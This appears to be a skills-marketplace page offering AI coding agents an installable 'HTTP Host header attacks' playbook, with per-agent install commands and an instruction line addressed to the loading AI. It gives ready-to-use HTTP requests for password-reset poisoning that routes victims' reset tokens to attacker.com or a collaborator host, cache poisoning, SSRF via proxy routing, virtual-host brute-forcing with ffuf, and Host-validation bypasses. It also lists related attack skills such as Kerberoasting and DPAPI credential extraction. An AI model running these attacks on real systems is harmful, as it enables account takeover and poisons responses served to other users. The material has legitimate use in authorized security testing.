401-403-bypass-techniq…
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths.…
HTTP Host header injection and routing abuse playbook. Use when the application trusts the Host header for generating URLs, routing requests, or access control — enabling password reset poisoning, web cache poisoning, SSRF via routing, and virtual host bypass.
Claude Code
$ npx -y skills add yaklang/hack-skills --skill http-host-header-attacks --agent claude-code
Codex
$ npx skills add yaklang/hack-skills --skill http-host-header-attacks -a codex -y
Cursor
$ npx skills add yaklang/hack-skills --skill http-host-header-attacks -a cursor -y
Gemini CLI
$ npx skills add yaklang/hack-skills --skill http-host-header-attacks -a gemini-cli -y
GitHub Copilot
$ npx skills add yaklang/hack-skills --skill http-host-header-attacks -a github-copilot -y
OpenCode
$ npx skills add yaklang/hack-skills --skill http-host-header-attacks -a opencode -y
Windsurf
$ npx skills add yaklang/hack-skills --skill http-host-header-attacks -a windsurf -y
name: http-host-header-attacks description: >- HTTP Host header injection and routing abuse playbook. Use when the application trusts the Host header for generating URLs, routing requests, or access control — enabling password reset poisoning, web cache poisoning, SSRF via routing, and virtual host bypass.
> **AI LOAD INSTRUCTION**: Covers Host header injection for password reset poisoning, cache poisoning, SSRF via routing, and virtual host bypass. Includes bypass techniques for Host validation and framework-specific behaviors. Base models often miss the double-Host trick, absolute-URI override, and connection-state attacks.
---
The Host header is used by web applications and infrastructure for:
| Usage | Exploitation | |---|---| | URL generation (password reset links, email links) | Inject attacker domain → user clicks link to attacker | | Virtual host routing | Spoof Host → access internal/admin vhost | | Cache key component | Inject different Host → poison cache for all users | | Reverse proxy routing | Host determines backend → SSRF to internal services | | Access control decisions | Host-based ACLs can be bypassed | | Canonical URL / SEO redirects | Host injection → open redirect |
---
The most common and impactful Host header attack.
1. Attacker requests password reset for victim@target.com 2. Attacker modifies Host header in the reset request: POST /forgot-password HTTP/1.1 Host: attacker.com ← injected email=victim@target.com 3. Server generates reset link using Host header value: "Click here to reset: https://attacker.com/reset?token=SECRET_TOKEN" 4. Victim receives email, clicks link → token sent to attacker 5. Attacker uses token on real target.com to reset password
POST /forgot-password HTTP/1.1 Host: attacker-collaborator.burpcollaborator.net Content-Type: application/x-www-form-urlencoded email=victim@target.com
Check Burp Collaborator for incoming HTTP request with the reset token.
---
1. Attacker sends: GET / HTTP/1.1 Host: attacker.com 2. If cache keys on URL path but NOT on Host header: → Response cached with attacker.com in generated links/content 3. Subsequent users requesting GET / receive the poisoned response → Links point to attacker.com, scripts load from attacker.com
**Key requirement**: Cache must not include Host header in cache key, but application must use Host in response body.
Test by sending two requests with different Host values and checking if the second request returns the first's Host in the response.
---
When a reverse proxy uses Host header to route to backends:
GET /api/internal HTTP/1.1 Host: internal-admin-panel.local → Reverse proxy routes request to internal-admin-panel.local → Attacker accesses internal service
Common in:
---
Many servers host multiple applications on the same IP via virtual hosting:
Target: Host: www.target.com → public site Hidden: Host: admin.target.com → admin panel (not in public DNS) Hidden: Host: staging.target.com → staging environment Hidden: Host: localhost → server status page
1. Brute-force Host header with common vhost names: ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt 2. Try special values: Host: localhost Host: 127.0.0.1 Host: admin Host: internal Host: intranet 3. Compare response size/content to identify different vhosts
---
Many frameworks/proxies trust these headers over the Host header:
| Header | Frameworks That Trust It | |---|---| | `X-Forwarded-Host` | Symfony, Laravel, Django (when `USE_X_FORWARDED_HOST=True`), Rails (behind proxy) | | `X-Host` | Some custom proxy configurations | | `X-Original-URL` | IIS with URL Rewrite module | | `X-Rewrite-URL` | IIS with URL Rewrite module | | `Forwarded: host=attacker.com` | RFC 7239 compliant proxies | | `X-Forwarded-Server` | Apache mod_proxy |
Test all simultaneously:
GET /forgot-password HTTP/1.1 Host: target.com X-Forwarded-Host: attacker.com X-Host: attacker.com X-Original-URL: /forgot-password Forwarded: host=attacker.com
GET http://attacker.com/path HTTP/1.1 Host: target.com
Per HTTP/1.1 spec (RFC 7230): if the request line contains an absolute URI, the Host header SHOULD be ignored. Some servers follow this, some don't — the mismatch between proxy and backend creates the vulnerability.
GET /path HTTP/1.1 Host: target.com Host: attacker.com
Behavior
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 102 deep topic skills across 14 security domains.
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths.…
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync…
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template…
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting,…
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples,…
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView…
Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys)…
Clean and finalize authorized natural-language text intended for readers by auditing suspicious invisible Unicode and rewriting…